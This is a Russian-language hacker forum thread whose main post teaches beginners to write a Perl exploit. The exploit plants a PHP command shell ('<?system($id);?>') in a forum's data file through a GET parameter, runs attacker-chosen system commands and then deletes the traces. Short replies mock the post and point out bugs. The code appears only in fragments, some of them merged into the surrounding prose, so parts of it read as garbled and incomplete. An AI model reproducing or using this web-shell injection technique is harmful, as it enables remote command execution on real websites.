![]() |
Сплоит на Perle!
Многие начинающие так сказать хакеры начиная постепенно изучать теорию взлома доходят до сплоитов имхо взлом без сплоитов ето не взлом-мое сугубо личное мнение и не подлежит обяснению! И так.... сплоиты пишут на многих языках прогаммирования ,но мы россмотрим язык Perl .
Я задел ету тему потому что большое количество новичков сталкиваются с проблемой (скачал сплоит .а он не работает) ИМХО в нем допущены СПЕЦИАЛЬНО ошибки от киддисов! Сплоит написаный на Perle отличается от других строчкой в начале #!/usr/bin/perl!Для того чтобы понять их ошибки и принцип работы попробуем самим написать простенький эксплоит. Будем писать на примере какого нить форума (чата) считая что он не использует БД и вся инфа о пользователях хранится в открытом виде но в PHP формате. Для того чтобы писать сплоит надо знать что он будет делать (эксплуатировать уязвимость) будем считать что вы нашли баг в форуме (чате)!И сплоит будет: - вывод запроса на ввод урла сайта и каталога чата; - коннект к этому адресу; - запрос на ввод системной команды; - передача файлу null.php этой команды; - запуск файла /data/dd.mm.gggg.php с выбранной командой, и считывание ответа; - удаление файла /data/dd.mm.gggg.php. Етот пример сплоита показывает уязвимость что в PHP файл можно записатьлюбые даные .Ну вперед.......... 1 строчка во всех Perl скриптах одинаковая , вовремя отладки желательно к ней добавлять еще и (-w) тогда перл будет сигнализировать о всех допущенных ошибках. Код:
#!/usr/bin/perl -wКод:
use IO::Socket;В этом случае переменные передаются скрипту через пробел и заносятся в массив, к примеру если передать Код:
perl script.pl x1 x2 x3К примеру код уязвимости Код:
print "Adress of site(www.site.com): ";Добавляем к переданному урлу http:// Код:
$url =~ s/(http:\/\/)//eg;Код:
$connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";Код:
$file="/$dir/null.php?h=1&col=<?system(\$id);?>";Код:
print "System command(ls -la):";Код:
@date=localtime;Код:
$connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";Код:
print "--[ Resultat ]--\n";Код:
$file3="/$dir/report.php?status=admin&del=$dt";в той же очередности и сохраняем с росширением .pl Все сплоит готов! Для запуска сплоита понадобится Perl интерпритатор. |
мда.. из разряда "хеллуоворлд по хакирски"
|
Если мне не изменяет память, то подобная тема уже поднималась!
Вот: http://forum.antichat.ru/thread27420.html |
Цитата:
Цитата:
Зачем ты создаешь сокет заново? Ну про кавычки я уж мочлу.... |
| Время: 02:03 |